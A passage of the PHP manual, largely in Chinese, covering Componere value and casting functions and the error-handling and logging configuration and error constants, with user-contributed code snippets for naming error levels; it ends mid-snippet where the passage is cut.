User Contributed Notes

There are no user contributed notes for this page.


Accessibility Detection

  • ? Componere\Value::isProtected
  • Componere\Value::hasDefault ?
  • PHP Manual
  • Componere\Value
  • Accessibility Detection

Componere\Value::isStatic

(Componere 2 >= 2.1.0)

Componere\Value::isStatic — Accessibility Detection

说明

public Componere\Value::isStatic(): bool

User Contributed Notes

There are no user contributed notes for this page.


Value Interaction

  • ? Componere\Value::isStatic
  • Componere 函数 ?
  • PHP Manual
  • Componere\Value
  • Value Interaction

Componere\Value::hasDefault

(Componere 2 >= 2.1.0)

Componere\Value::hasDefault — Value Interaction

说明

public Componere\Value::hasDefault(): bool

User Contributed Notes

There are no user contributed notes for this page.


Componere 函数

Table of Contents

  • Componere\cast — Casting
  • Componere\cast_by_ref — Casting

User Contributed Notes

There are no user contributed notes for this page.


Casting

  • ? Componere 函数
  • Componere\cast_by_ref ?
  • PHP Manual
  • Componere 函数
  • Casting

Componere\cast

(Componere 2 >= 2.1.2)

Componere\cast — Casting

说明

Componere\cast(Type $type, $object): Type

参数

type

A user defined type

object

An object with a user defined type compatible with Type

返回值

An object of type Type, cast from object

错误／异常

Warning

Shall throw InvalidArgumentException if the type of object is or is derived from an internal class

Warning

Shall throw InvalidArgumentException if Type is an interface

Warning

Shall throw InvalidArgumentException if Type is a trait

Warning

Shall throw InvalidArgumentException if Type is an abstract

Warning

Shall throw InvalidArgumentException if Type is not compatible with the type of object

参见

  • Componere\cast_by_ref

User Contributed Notes

There are no user contributed notes for this page.


Casting

  • ? Componere\cast
  • 错误处理 ?
  • PHP Manual
  • Componere 函数
  • Casting

Componere\cast_by_ref

(Componere 2 >= 2.1.2)

Componere\cast_by_ref — Casting

说明

Componere\cast_by_ref(Type $type, $object): Type

参数

type

A user defined type

object

An object with a user defined type compatible with Type

返回值

An object of type Type, cast from object, where members are references to object members

错误／异常

Warning

Shall throw InvalidArgumentException if the type of object is or is derived from an internal class

Warning

Shall throw InvalidArgumentException if Type is an interface

Warning

Shall throw InvalidArgumentException if Type is a trait

Warning

Shall throw InvalidArgumentException if Type is an abstract

Warning

Shall throw InvalidArgumentException if Type is not compatible with the type of object

参见

  • Componere\cast

User Contributed Notes

There are no user contributed notes for this page.


错误处理和日志记录

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • 错误处理 函数
    • debug_backtrace — 产生一条回溯跟踪(backtrace)
    • debug_print_backtrace — 打印一条回溯。
    • error_clear_last — 清除最近一次错误
    • error_get_last — 获取最后发生的错误
    • error_log — 发送错误信息到某个地方
    • error_reporting — 设置应该报告何种 PHP 错误
    • restore_error_handler — 还原之前的错误处理函数
    • restore_exception_handler — 恢复之前定义过的异常处理函数。
    • set_error_handler — 设置用户自定义的错误处理函数
    • set_exception_handler — 设置用户自定义的异常处理函数
    • trigger_error — 产生一个用户级别的 error/warning/notice 信息
    • user_error — 别名 trigger_error

User Contributed Notes

There are no user contributed notes for this page.


简介

这些是错误处理和日志记录的函数。这些函数允许定义自己的错误处理规则，以及修改错误记录的方式。这样就可以更改和加强错误报告以满足需要。

通过日志记录函数，可以将信息直接发送到其他机器、电子邮件（邮件到 pager 网关！）、系统日志等，从而可以有选择的记录和监视应用程序和网站的最重要的部分。

错误报告函数允许自定义错误反馈级别和类型，范围从简单的通知到错误时自定义函数返回。

User Contributed Notes

There are no user contributed notes for this page.


安装

使用这些函数不需要安装，它们是 PHP 核心的一部分。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

错误和日志记录配置选项
名字 | 默认 | 可修改范围 | 更新日志
error_reporting | NULL | PHP_INI_ALL |
display_errors | "1" | PHP_INI_ALL |
display_startup_errors | "1" | PHP_INI_ALL | PHP 8.0.0 之前，默认值是 "0"。
log_errors | "0" | PHP_INI_ALL |
log_errors_max_len | "1024" | PHP_INI_ALL | PHP 8.0.0 起弃用，PHP 8.1.0 起移除。
ignore_repeated_errors | "0" | PHP_INI_ALL |
ignore_repeated_source | "0" | PHP_INI_ALL |
report_memleaks | "1" | PHP_INI_ALL |
track_errors | "0" | PHP_INI_ALL | PHP 7.2.0 起弃用，PHP 8.0.0 起移除
html_errors | "1" | PHP_INI_ALL |
xmlrpc_errors | "0" | PHP_INI_SYSTEM |
xmlrpc_error_number | "0" | PHP_INI_ALL |
docref_root | "" | PHP_INI_ALL |
docref_ext | "" | PHP_INI_ALL |
error_prepend_string | NULL | PHP_INI_ALL |
error_append_string | NULL | PHP_INI_ALL |
error_log | NULL | PHP_INI_ALL |
error_log_mode | 0o644 | PHP_INI_ALL | 自 PHP 8.2.0 起有效
syslog.facility | "LOG_USER" | PHP_INI_SYSTEM | 自 PHP 7.3.0 起可用。
syslog.filter | "no-ctrl" | PHP_INI_ALL | 自 PHP 7.3.0 起可用。
syslog.ident | "php" | PHP_INI_SYSTEM | 自 PHP 7.3.0 起可用。
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

error_reporting int

设置错误报告级别。该参数可以是表示二进制位字段的任意整数或者常量名称。error_reporting 级别和常量是在预定义常量和 php.ini 中进行了说明。在程序运行时可以通过 error_reporting() 进行设置。另请查看 display_errors 指令。

默认值为 E_ALL。

PHP 8.0.0 之前，默认值是：E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED。这意味着不会显示 E_NOTICE、 E_STRICT、E_DEPRECATED 级别的错误提示。

Note: PHP外的PHP常量

在 PHP 以外（如 httpd.conf）使用 PHP 常量将没有意义，因此在这种情况下需要 int 值来取代。由于错误级别会随着时间的推移而增长，错误级别的最大值（E_ALL）可能会改变。所以考虑使用更大的值来代替 E_ALL 从而覆盖从现在到未来的所有二进制位字段，例如数值 2147483647（将包含所有错误，而不仅仅是 E_ALL）。

display_errors string

该选项设置是否将错误信息作为输出的一部分打印到屏幕，或者对用户隐藏。

值 "stderr" 将错误发送到 stderr 而不是 stdout。

Note:

这是辅助开发的功能，不应在生产系统中使用 (例如连接到互联网的系统)。

Note:

尽管 display_errors 也可以在运行时设置 (使用 ini_set())， 但是如果脚本出现致命错误，它不会起到任何作用。因为还没执行所需的运行时操作。

display_startup_errors bool

即使 display_errors 设置为开启，PHP 也不会显示启动过程中的错误。强烈建议除调试外，都将 display_startup_errors 设置为关闭。

log_errors bool

设置是否将脚本运行的错误信息记录到服务器错误日志或者 error_log。注意，这是与服务器相关的特定配置项。

Note:

在生产环境 web 网站中，强烈建议使用错误日志记录代替错误显示。

log_errors_max_len int

设置 log_errors 的最大字节数. 在 error_log 中添加有关错误源的信息。默认值为 1024，如果设置为 0 表示不限长度。该长度适用于记录的错误，显示的错误，以及 $php_errormsg，但不适用于显式调用的函数，例如 error_log()。

当使用 int 时, 其值以字节来衡量。还可以使用在 FAQ 中描述的速记符。
ignore_repeated_errors bool

不记录重复的信息。重复的错误必须出现在同一个文件中的同一行代码上，除非 ignore_repeated_source 设置为 true。

ignore_repeated_source bool

忽略重复消息时，也忽略消息的来源。当该设置开启时，重复信息将不会记录它是由不同的文件还是不同的源代码行产生的。

report_memleaks bool

如果这个参数设置为开启（默认），此参数将会显示 Zend 内存管理器检测到的内存泄露报告。此报告将会发送到 Posix 平台上的 stderr。在 Windows 上，将使用 OutputDebugString() 发送到调试器并可以使用 » DbgView 等工具查看。此参数进在调试版本中有效并且需要 error_reporting 包含 E_WARNING。

track_errors bool

如果开启，最后的一个错误将永远存在于变量 $php_errormsg 中。

html_errors bool

如果启用，错误消息将包含 HTML 标记。HTML 错误格式会生成可点击的消息，将用户引导至描述错误页面或者导致错误的函数。这些引用跟 docref_root 和 docref_ext 的有关。

如果启用，错误消息将完全是纯文本。

xmlrpc_errors bool

如果启用，则关闭正常的错误报告，并将错误格式格式化为 XML-RPC 错误信息。

xmlrpc_error_number int

用作 XML-RPC faultCode 元素的值。

docref_root string

新的错误信息格式包含了对描述错误或者导致错误的函数的页面引用。为了提供手册的页面，你可以在 PHP 官方站点下载对应语言的手册，并在 ini 中设置网址到本地对应的地址。如果你的本地手册拷贝可以使用 "/manual/" 访问，你就可以简单的设置 docref_root=/manual/。另外你还需要设置 docref_ext 匹配你本地文件的后缀名 docref_ext=.html。当然也可以设置一个外部的参考地址。例如你可以设置 docref_root=http://manual/en/ 或者 docref_root="http://landonize.it/?how=url&theme=classic&filter=Landon &url=http%3A%2F%2Fwww.php.net%2F"

通常需要在 docref_root 后面以 "/"结尾， 但是在以上的第二种示例情况中不必这么设置。

Note:

这是辅助开发的功能，因为可以快速定位和查看到函数的说明。不应在生产系统中使用 (例如连接到互联网的系统)。

docref_ext string

参见 docref_root。

Note:

docref_ext 的值必须以 "." 开头。

error_prepend_string string

错误信息之前输出的字符串。仅在屏幕上显示错误消息时使用。主要是目的是能够为错误消息添加额带的 HTML 标记。

error_append_string string

错误信息之后输出的字符串。仅在屏幕上显示错误消息时使用。主要是目的是能够为错误消息添加额带的 HTML 标记。

error_log string

设置脚本错误将被记录到的文件名称。该文件应该由 Web 服务器用户写入。如果使用特殊值 syslog，则将错误信息发送到系统日志记录器。在 Unix 系统上，使用的是 syslog(3)，而在 Windows 上则为事件日志。参见：syslog()。如果该配置没有设置，则错误信息会被发送到 SAPI 错误记录器。例如，出现在 Apache 的错误日志中，或者在 CLI 中的 stderr。参阅 error_log()。

error_log_mode int

File mode for the file described set in error_log.

syslog.facility string

指定记录日志信息的程序类型，仅在 error_log 设置为 "syslog" 时有效。

syslog.filter string

指定过滤器类型以过滤纪录的消息。允许不加修改的传递字符；all others are written in their hexadecimal representation prefixed with \x.

  • all——记录的字符串在换行符处拆分，并且所有字符都原封不动的传递
  • ascii——纪录的字符串在换行符处拆分，且转义任何不可打印的 7 位 ASCII 字符
  • no-ctrl——纪录的字符串在换行符处拆分，且转义任何不可打印字符
  • raw——所有字符都原封不动的传递给系统记录器，换行符处不会拆分 (identical to PHP before 7.3)
此设置通过 error_log 设置为 "syslog" 并调用 syslog() 影响日志记录。

Note:

raw 过滤器从 PHP 7.3.8 和 PHP 7.4.0 起可以使用。

Windows 上不支持该指令。
syslog.ident string

设置每条日志消息前缀的识别字符串（ident string），仅在 error_log 为 "syslog" 时有效。

User Contributed Notes

iio7 at protonmail dot com 31-Dec-2021 09:52
It's important to note that when display_errors is "on", PHP will send a HTTP 200 OK status code even when there is an error. This is not a mistake or a wrong behavior, but is because you're asking PHP to output normal HTML, i.e. the error message, to the browser.

When display_errors is set to "off", PHP will send a HTTP 500 Internal Server Error, and let the web server handle it from there. If the web server is setup to intercept FastCGI errors (in case of NGINX), it will display the 500 error page it has setup. If the web server cannot intercept FastCGI errors, or it isn't setup to do it, an empty screen will be displayed in the browser (the famous white screen of death).

If you need a custom error page but cannot intercept PHP errors on the web server you're using, you can use PHPs custom error and exception handling mechanism. If you combine that with output buffering you can prevent any output to reach the client before the error/exception occurs. Just remember that parse errors are compile time errors that cannot be handled by a custom handler, use "php -l foo.php" from the terminal to check for parse errors before putting your files on production.
Roger 18-Jul-2019 02:57
When `error_log` is set to a file path, log messages will automatically be prefixed with timestamp [DD-MMM-YYYY HH:MM:SS UTC].  This appears to be hard-coded, with no formatting options.
ohcc at 163 dot com 09-Dec-2016 12:57
If you set the error_log directive to a relative path, it is a path relative to the document root rather than php's containing folder.
jaymore at gmail dot com 02-Dec-2016 10:14
Document says
So in place of E_ALL consider using a larger value to cover all bit fields from now and well into the future, a numeric value like 2147483647 (includes all errors, not just E_ALL).

But it is better to set "-1" as the E_ALL value.
For example, in httpd.conf or .htaccess, use
php_value error_reporting -1
to report all kind of error without be worried by the PHP version.
php dot net at sp-in dot dk 27-Nov-2014 09:59
There does not appear to be a way to set a tag / ident / program for log entries in the ini file when using error_log=syslog.  When I test locally, "apache2" is used.
However, calling openlog() with an ident parameter early in your script (or using an auto_prepend_file) will make PHP use that value for all subsequent log entries. closelog() will restore the original tag.

This can be done for setting facility as well, although the original value does not seem to be restored by closelog().
cjakeman at bcs dot org 17-Mar-2009 01:06
Using
<?php ini_set('display_errors', 1); ?>
at the top of your script will not catch any parse errors. A missing ")" or ";" will still lead to a blank page.

This is because the entire script is parsed before any of it is executed. If you are unable to change php.ini and set

display_errors On

then there is a possible solution suggested under error_reporting:

<?php
 error_reporting(E_ALL);
 ini_set("display_errors", 1);
 include("file_with_errors.php");
?>

[Modified by moderator]

You should also consider setting error_reporting = -1 in your php.ini and display_errors = On if you are in development mode to see all fatal/parse errors or set error_log to your desired file to log errors instead of display_errors in production (this requires log_errors to be turned on).


预定义常量

下列常量作为 PHP 核心的一部分总是可用的。

Note: 你可以使用它们在 php.ini 中的常量名称; 但是在 PHP 之外，例如在 httpd.conf 之中, 你必须使用二进制位掩码来代替。

错误和日志记录
值 | 常量 | 说明 | 备注
1 | E_ERROR (int) | 致命的运行时错误。这类错误一般是不可恢复的情况，例如内存分配导致的问题。后果是导致脚本终止不再继续运行。 |
2 | E_WARNING (int) | 运行时警告 (非致命错误)。仅给出提示信息，但是脚本不会终止运行。 |
4 | E_PARSE (int) | 编译时语法解析错误。解析错误仅仅由分析器产生。 |
8 | E_NOTICE (int) | 运行时通知。表示脚本遇到可能会表现为错误的情况，但是在可以正常运行的脚本里面也可能会有类似的通知。 |
16 | E_CORE_ERROR (int) | 在 PHP 初始化启动过程中发生的致命错误。该错误类似 E_ERROR，但是是由 PHP 引擎核心产生的。 |
32 | E_CORE_WARNING (int) | PHP 初始化启动过程中发生的警告 (非致命错误) 。类似 E_WARNING，但是是由 PHP 引擎核心产生的。 |
64 | E_COMPILE_ERROR (int) | 致命编译时错误。类似 E_ERROR，但是是由 Zend 脚本引擎产生的。 |
128 | E_COMPILE_WARNING (int) | 编译时警告 (非致命错误)。类似 E_WARNING，但是是由 Zend 脚本引擎产生的。 |
256 | E_USER_ERROR (int) | 用户产生的错误信息。类似 E_ERROR，但是是由用户自己在代码中使用 PHP 函数 trigger_error()来产生的。 |
512 | E_USER_WARNING (int) | 用户产生的警告信息。类似 E_WARNING，但是是由用户自己在代码中使用 PHP 函数 trigger_error()来产生的。 |
1024 | E_USER_NOTICE (int) | 用户产生的通知信息。类似 E_NOTICE，但是是由用户自己在代码中使用 PHP 函数 trigger_error()来产生的。 |
2048 | E_STRICT (int) | 启用 PHP 对代码的修改建议，以确保代码具有最佳的互操作性和向前兼容性。 |
4096 | E_RECOVERABLE_ERROR (int) | 可被捕捉的致命错误。 它表示发生了一个可能非常危险的错误，但是还没有导致PHP引擎处于不稳定的状态。 如果该错误没有被用户自定义句柄捕获 (参见 set_error_handler())，将成为一个 E_ERROR 从而脚本会终止运行。 |
8192 | E_DEPRECATED (int) | 运行时通知。启用后将会对在未来版本中可能无法正常工作的代码给出警告。 |
16384 | E_USER_DEPRECATED (int) | 用户产生的警告信息。 类似 E_DEPRECATED, 但是是由用户自己在代码中使用PHP函数 trigger_error()来产生的。 |
32767 | E_ALL (int) | 所有错误、警告和通知。 |

上面的值（数值或者符号）用于建立一个二进制位掩码，来制定要报告的错误信息。可以使用按位运算符来组合这些值或者屏蔽某些类型的错误。请注意，在 php.ini 之中，只有'|', '~', '!', '^' 和 '&' 会正确解析。

User Contributed Notes

ali6236 at yahoo dot com 24-Apr-2023 08:38
A better way to map error constant to their names (instead of switch) :

    function getErrorName($code)
    {
        static $error_names = [
            E_ERROR => 'E_ERROR',
            E_WARNING => 'E_WARNING',
            E_PARSE => 'E_PARSE',
            E_NOTICE => 'E_NOTICE',
            E_CORE_ERROR => 'E_CORE_ERROR',
            E_CORE_WARNING => 'E_CORE_WARNING',
            E_COMPILE_ERROR => 'E_COMPILE_ERROR',
            E_COMPILE_WARNING => 'E_COMPILE_WARNING',
            E_USER_ERROR => 'E_USER_ERROR',
            E_USER_WARNING => 'E_USER_WARNING',
            E_USER_NOTICE => 'E_USER_NOTICE',
            E_STRICT => 'E_STRICT',
            E_RECOVERABLE_ERROR => 'E_RECOVERABLE_ERROR',
            E_DEPRECATED => 'E_DEPRECATED',
            E_USER_DEPRECATED => 'E_USER_DEPRECATED',
        ];
        return $error_names[$code] ?? '';
    }
fadhilinjagi at gmail dot com 29-Sep-2021 06:57
A simple and neat way to get the error level from the error code. You can even customize the error level names further.

<?php
$exceptions = [
        E_ERROR => "E_ERROR",
        E_WARNING => "E_WARNING",
        E_PARSE => "E_PARSE",
        E_NOTICE => "E_NOTICE",
        E_CORE_ERROR => "E_CORE_ERROR",
        E_CORE_WARNING => "E_CORE_WARNING",
        E_COMPILE_ERROR => "E_COMPILE_ERROR",
        E_COMPILE_WARNING => "E_COMPILE_WARNING",
        E_USER_ERROR => "E_USER_ERROR",
        E_USER_WARNING => "E_USER_WARNING",
        E_USER_NOTICE => "E_USER_NOTICE",
        E_STRICT => "E_STRICT",
        E_RECOVERABLE_ERROR => "E_RECOVERABLE_ERROR",
        E_DEPRECATED => "E_DEPRECATED",
        E_USER_DEPRECATED => "E_USER_DEPRECATED",
        E_ALL => "E_ALL"
];

echo $exceptions["1"];
$code = 256;
echo $exceptions[$code];
?>

Output:
E_ERROR
E_USER_ERROR

This will need updating when PHP updates the error level names. Otherwise, it works just fine.
kaioker 22-Sep-2021 07:47
super simple error code to human readable conversion:

function prettycode($code){
    return $code == 0 ? "FATAL" : array_search($code, get_defined_constants(true)['Core']);
}
ErikBachmann 19-Jun-2019 10:39
A shorter version of vladvarna's FriendlyErrorType($type)
<?php
function getErrorTypeByValue($type) {
    $constants  = get_defined_constants(true);

    foreach ( $constants['Core'] as $key => $value ) { // Each Core constant
        if ( preg_match('/^E_/', $key  ) ) {    // Check error constants
            if ( $type == $value )
                return( "$key=$value");
        }
    }
}   // getErrorTypeByValue()

echo "[".getErrorTypeByValue( 1 ) . "]". PHP_EOL;
echo "[".getErrorTypeByValue( 0 ) . "]". PHP_EOL;
echo "[".getErrorTypeByValue( 8 ) . "]". PHP_EOL;
?>

Will give
    [E_ERROR=1]
    []
    [E_NOTICE=8]
bbrokman at gmail dot com 01-Jun-2019 11:14
A neat way to have a place in code to control error reporting configuration :)

<?php

$errorsActive = [
    E_ERROR             => FALSE,
    E_WARNING           => TRUE,
    E_PARSE             => TRUE,
    E_NOTICE            => TRUE,
    E_CORE_ERROR        => FALSE,
    E_CORE_WARNING      => FALSE,
    E_COMPILE_ERROR     => FALSE,
    E_COMPILE_WARNING   => FALSE,
    E_USER_ERROR        => TRUE,
    E_USER_WARNING      => TRUE,
    E_USER_NOTICE       => TRUE,
    E_STRICT            => FALSE,
    E_RECOVERABLE_ERROR => TRUE,
    E_DEPRECATED        => FALSE,
    E_USER_DEPRECATED   => TRUE,
    E_ALL               => FALSE,
];

error_reporting(
    array_sum(
        array_keys($errorsActive, $search = true)
    )
);

?>
paulsnar 19-Apr-2018 02:08
PHP 7 makes E_STRICT irrelevant, reclassifying most of the errors as proper warnings, notices or E_DEPRECATED: https://wiki.php.net/rfc/reclassify_e_strict
cl at viazenetti dot de 24-Nov-2017 05:24
An other way to get all PHP errors  that are set to be reported. This code will even work, when additional error types are added in future.

<?php
$pot = 0;
foreach (array_reverse(str_split(decbin(error_reporting()))) as $bit) {
    if ($bit == 1) {
        echo array_search(pow(2, $pot), get_defined_constants(true)['Core']). "<br>\n";
    }
    $pot++;
}
?>
espertalhao04 at hotmail dot com 20-Apr-2017 04:58
A simplified way of writting a function to return a (non-optimal) representation of the error code as a bitwise string:

<?php
    function readable_error_type($error_code)
    {
        $constants = array();
        foreach(get_defined_constants() as $key => $value)
        {
            if(strpos($key, 'E_') === 0 && ($value <= $error_code) && ($value & $error_code))
            {
                $constants[] = $key;
            }
        }

        return implode(' | ', $constants);
    }
?>

This only works for values above 0.
ilpaijin at gmail dot com 23-Mar-2017 04:12
The bitmask values relative to the Constant E_ALL is 30719, in case of PHP 5.6.x
ahsankhatri1992 at gmail 26-Aug-2016 03:47
Notes posted above limited to current errors level as on 26th Aug 2016, following snippet will work even on introduction of new error level

$errLvl = error_reporting();
for ( $i = 1; $i < E_ALL;  $i*=2 )
{
    print FriendlyErrorType($errLvl & $i) . "<br>\n";
}

function FriendlyErrorType($type)
{
    switch($type)
    {
        case E_ERROR: // 1 //
            return 'E_ERROR';
        case E_WARNING: // 2 //
            return 'E_WARNING';
        case E_PARSE: // 4 //
            return 'E_PARSE';
        case E_NOTICE: // 8 //
            return 'E_NOTICE';
        case E_CORE_ERROR: // 16 //
            return 'E_CORE_ERROR';
        case E_CORE_WARNING: // 32 //
            return 'E_CORE_WARNING';
        case E_COMPILE_ERROR: // 64 //
            return 'E_COMPILE_ERROR';
        case E_COMPILE_WARNING: // 128 //
            return 'E_COMPILE_WARNING';
        case E_USER_ERROR: // 256 //
            return 'E_USER_ERROR';
        case E_USER_WARNING: // 512 //
            return 'E_USER_WARNING';
        case E_USER_NOTICE: // 1024 //
            return 'E_USER_NOTICE';
        case E_STRICT: // 2048 //
            return 'E_STRICT';
        case E_RECOVERABLE_ERROR: // 4096 //
            return 'E_RECOVERABLE_ERROR';
        case E_DEPRECATED: // 8192 //
            return 'E_DEPRECATED';
        case E_USER_DEPRECATED: // 16384 //
            return 'E_USER_DEPRECATED';
    }
    return "";
}
kezzyhko at NOSPAM dot semysha dot ru 13-Aug-2016 06:58
As for me, the best way to get error name by int value is that. And it's works fine for me ;)
<?php

array_flip(array_slice(get_defined_constants(true)['Core'], 1, 15, true))[$type];

//the same in readable form
array_flip(
    array_slice(
        get_defined_constants(true)['Core'],
        1,
        15,
        true
    )
)[$type]

?>
Herbert 22-Jun-2016 08:00
if you want to bring this list back to the categories error/warning/notice/all

<?php

$error_level   = 'warning';      //  Allowed values: error/warning/notice/all

$error_error   = (int)                  E_ERROR | E_USER_ERROR | E_CORE_ERROR | E_COMPILE_ERROR | E_RECOVERABLE_ERROR | E_PARSE;
$error_warning = (int) $error_error   | E_WARNING | E_USER_WARNING | E_CORE_WARNING | E_COMPILE_WARNING;
$error_notice  = (int) $error_warning | E_NOTICE | E_USER_NOTICE | E_DEPRECATED | E_USER_DEPRECATED;
$error_all     = (int) $error_notice  | E_STRICT;

error_reporting ($GLOBALS["error_$error_level"]);

?>
Anonymous 15-Jun-2016 07:38
My version!
For long list function returns for example "E_ALL without E_DEPRECATED "

function errorLevel()
{
    $levels = array(
        'E_ERROR',
        'E_WARNING',
        'E_PARSE',
        'E_NOTICE',
        'E_CORE_ERROR',
        'E_CORE_WARNING',
        'E_COMPILE_ERROR',
        'E_COMPILE_WARNING',
        'E_USER_ERROR',
        'E_USER_WARNING',
        'E_USER_NOTICE',
        'E_STRICT',
        'E_RECOVERABLE_ERROR',
        'E_DEPRECATED',
        'E_USER_DEPRECATED',
        'E_ALL'
    );
    $excluded = $included = array();
    $errLvl = error_reporting();
    foreach ($levels as $lvl) {
        $val = constant($lvl);
        if ($errLvl & $val) {
            $included []= $lvl;
        } else {
                $excluded []= $lvl;
        }
    }
    if (count($excluded) > count($included)) {
        echo '<br />Consist: '.implode(',', $included);
    } else {
        echo '<br />Consist: E_ALL without '.implode(',', $excluded);
    }
}
damian at thebestisp dot dot dot com 17-Mar-2016 02:22
I saw that Chris seems to think that errors might be combined in some cases, I don't know of any cases, but his code is overly verbose, inefficient, and doesn't take into account future E_ constants. Here's my version of handling multiple errors (which probably wont ever happen) using my other code as a base. The only real difference is that this doesn't bother to split out undefined bits, which is pretty much useless and would get rather messy if you have more than a few bits set above 2**14 (0 to 14 have an associated error).

<?php
function friendly_error_type($type) {
    static $levels=null;
    if ($levels===null) {
        $levels=[];
        foreach (get_defined_constants() as $key=>$value) {
            if (strpos($key,'E_')!==0) {continue;}
            $levels[$value]=substr($key,2);
        }
    }
    $out=[];
    foreach ($levels as $int=>$string) {
        if ($int&$type) {$out[]=$string;}
        $type&=~$int;
    }
    if ($type) {$out[]="Error Remainder [{$type}]";}
    return implode(' & ',$out);
}
echo friendly_error_type(E_ERROR|E_USER_DEPRECATED); //ERROR & USER_DEPRECATED
echo friendly_error_type(2**20-1); //ERROR & RECOVERABLE_ERROR & WARNING & PARSE & NOTICE & STRICT & DEPRECATED & CORE_ERROR & CORE_WARNING & COMPILE_ERROR & COMPILE_WARNING & USER_ERROR & USER_WARNING & USER_NOTICE & USER_DEPRECATED & Error Remainder [1015808]
?>
damian at thebestisp dot dot dot com 15-Mar-2016 04:21
I use this code to help mimic the default error handler, the only difference is that the levels end up being all caps, which I don't care to fix. You could also get rid of the underscores, but again, I don't care :P
Until php starts adding constants starting with E_ that have values overlapping with other E_ constants, this seems to be the shortest way of converting error code integers to strings understandable by meat bags. It will also work with new types, so that's nice.
<?php
function friendly_error_type($type) {
    static $levels=null;
    if ($levels===null) {
        $levels=[];
        foreach (get_defined_constants() as $key=>$value) {
            if (strpos($key,'E_')!==0) {continue;}
            $levels[$value]=substr($key,2);
        }
    }
    return (isset($levels[$type]) ? $levels[$type] : "Error #{$type}");
}
echo friendly_error_type(1); #ERROR
echo friendly_error_type(2); #WARNING
echo friendly_error_type(3); #Error #3
?>
Tested on 5.6.12 and 7.0.3 (The first was by accident, didn't realize I was sshed into production :3)
chris-php at IGNORETHISPART dot cybermato dot com 29-Aug-2014 07:06
How about this?  Unlike the examples below, it will show all the bits that are set, AND handle any bits defined in the future (at least not silently hide them)...

    $strErrorType = "";
    $bit = 1;
    $tmpErrNo = $errNo;
    while ($tmpErrNo) {
        if ($tmpErrNo & $bit) {
            if ($strErrorType != "")
                $strErrorType .= " | ";
            switch ($bit) {
            case E_USER_WARNING:
                $strErrorType .= "E_USER_WARNING"; break;
            case E_USER_NOTICE:
                $strErrorType .= "E_USER_NOTICE"; break;
            case E_WARNING:
                $strErrorType .= "E_WARNING"; break;
            case E_CORE_WARNING:
                $strErrorType .= "E_CORE_WARNING"; break;
            case E_COMPILE_WARNING:
                $strErrorType .= "E_COMPILE_WARNING"; break;
            case E_NOTICE:
                $strErrorType .= "E_NOTICE"; break;
            case E_ERROR:
                $strErrorType .= "E_ERROR"; break;
            case E_PARSE:
                $strErrorType .= "E_PARSE"; break;
            case E_CORE_ERROR:
                $strErrorType .= "E_CORE_ERROR"; break;
            case E_COMPILE_ERROR:
                $strErrorType .= "E_COMPILE_ERROR"; break;
            case E_USER_ERROR:
                $strErrorType .= "E_USER_ERROR"; break;
            default:
                $strErrorType .= "(unknown error bit $bit)"; break;
            }
        }
        $tmpErrNo &= ~$bit;
        $bit <<= 1;
    }
Anonymous 02-Sep-2012 07:31
this would give you all the reported exception list of your configuration.

<?php
function FriendlyErrorType($type)
{
    $return ="";
    if($type & E_ERROR) // 1 //
        $return.='& E_ERROR ';
    if($type & E_WARNING) // 2 //
        $return.='& E_WARNING ';
    if($type & E_PARSE) // 4 //
        $return.='& E_PARSE ';
    if($type & E_NOTICE) // 8 //
        $return.='& E_NOTICE ';
    if($type & E_CORE_ERROR) // 16 //
        $return.='& E_CORE_ERROR ';
    if($type & E_CORE_WARNING) // 32 //
        $return.='& E_CORE_WARNING ';
    if($type & E_COMPILE_ERROR) // 64 //
        $return.='& E_COMPILE_ERROR ';
    if($type & E_COMPILE_WARNING) // 128 //
        $return.='& E_COMPILE_WARNING ';
    if($type & E_USER_ERROR) // 256 //
        $return.='& E_USER_ERROR ';
    if($type & E_USER_WARNING) // 512 //
        $return.='& E_USER_WARNING ';
    if($type & E_USER_NOTICE) // 1024 //
        $return.='& E_USER_NOTICE ';
    if($type & E_STRICT) // 2048 //
        $return.='& E_STRICT ';
    if($type & E_RECOVERABLE_ERROR) // 4096 //
        $return.='& E_RECOVERABLE_ERROR ';
    if($type & E_DEPRECATED) // 8192 //
        $return.='& E_DEPRECATED ';
    if($type & E_USER_DEPRECATED) // 16384 //
        $return.='& E_USER_DEPRECATED ';
    return substr($return,2);
}
echo "error_reporting = " . FriendlyErrorType(ini_get('error_reporting')) .";<br>";
?>
russthom at fivegulf dot com 16-Jul-2012 06:25
[Editor's note: fixed E_COMPILE_* cases that incorrectly returned E_CORE_* strings. Thanks josiebgoode.]

The following code expands on Vlad's code to show all the flags that are set.  if not set, a blank line shows.

<?php
$errLvl = error_reporting();
for ($i = 0; $i < 15;  $i++ ) {
    print FriendlyErrorType($errLvl & pow(2, $i)) . "<br>\\n";
}

function FriendlyErrorType($type)
{
    switch($type)
    {
        case E_ERROR: // 1 //
            return 'E_ERROR';
        case E_WARNING: // 2 //
            return 'E_WARNING';
        case E_PARSE: // 4 //
            return 'E_PARSE';
        case E_NOTICE: // 8 //
            return 'E_NOTICE';
        case E_CORE_ERROR: // 16 //
            return 'E_CORE_ERROR';
        case E_CORE_WARNING: // 32 //
            return 'E_CORE_WARNING';
        case E_COMPILE_ERROR: // 64 //
            return 'E_COMPILE_ERROR';
        case E_COMPILE_WARNING: // 128 //
            return 'E_COMPILE_WARNING';
        case E_USER_ERROR: // 256 //
            return 'E_USER_ERROR';
        case E_USER_WARNING: // 512 //
            return 'E_USER_WARNING';
        case E_USER_NOTICE: // 1024 //
            return 'E_USER_NOTICE';
        case E_STRICT: // 2048 //
            return 'E_STRICT';
        case E_RECOVERABLE_ERROR: // 4096 //
            return 'E_RECOVERABLE_ERROR';
        case E_DEPRECATED: // 8192 //
            return 'E_DEPRECATED';
        case E_USER_DEPRECATED: // 16384 //
            return 'E_USER_DEPRECATED';
    }
    return "";
}
?>
vladvarna at gmail dot com 16-Mar-2012 09:35
function FriendlyErrorType($type)
    {
        switch($type)
            {
            case E_ERROR: // 1 //
                return 'E_ERROR';
            case E_WARNING: // 2 //
                return 'E_WARNING';
            case E_PARSE: // 4 //
                return 'E_PARSE';
            case E_NOTICE: // 8 //
                return 'E_NOTICE';
            case E_CORE_ERROR: // 16 //
                return 'E_CORE_ERROR';
            case E_CORE_WARNING: // 32 //
                return 'E_CORE_WARNING';
            case E_CORE_ERROR: // 64 //
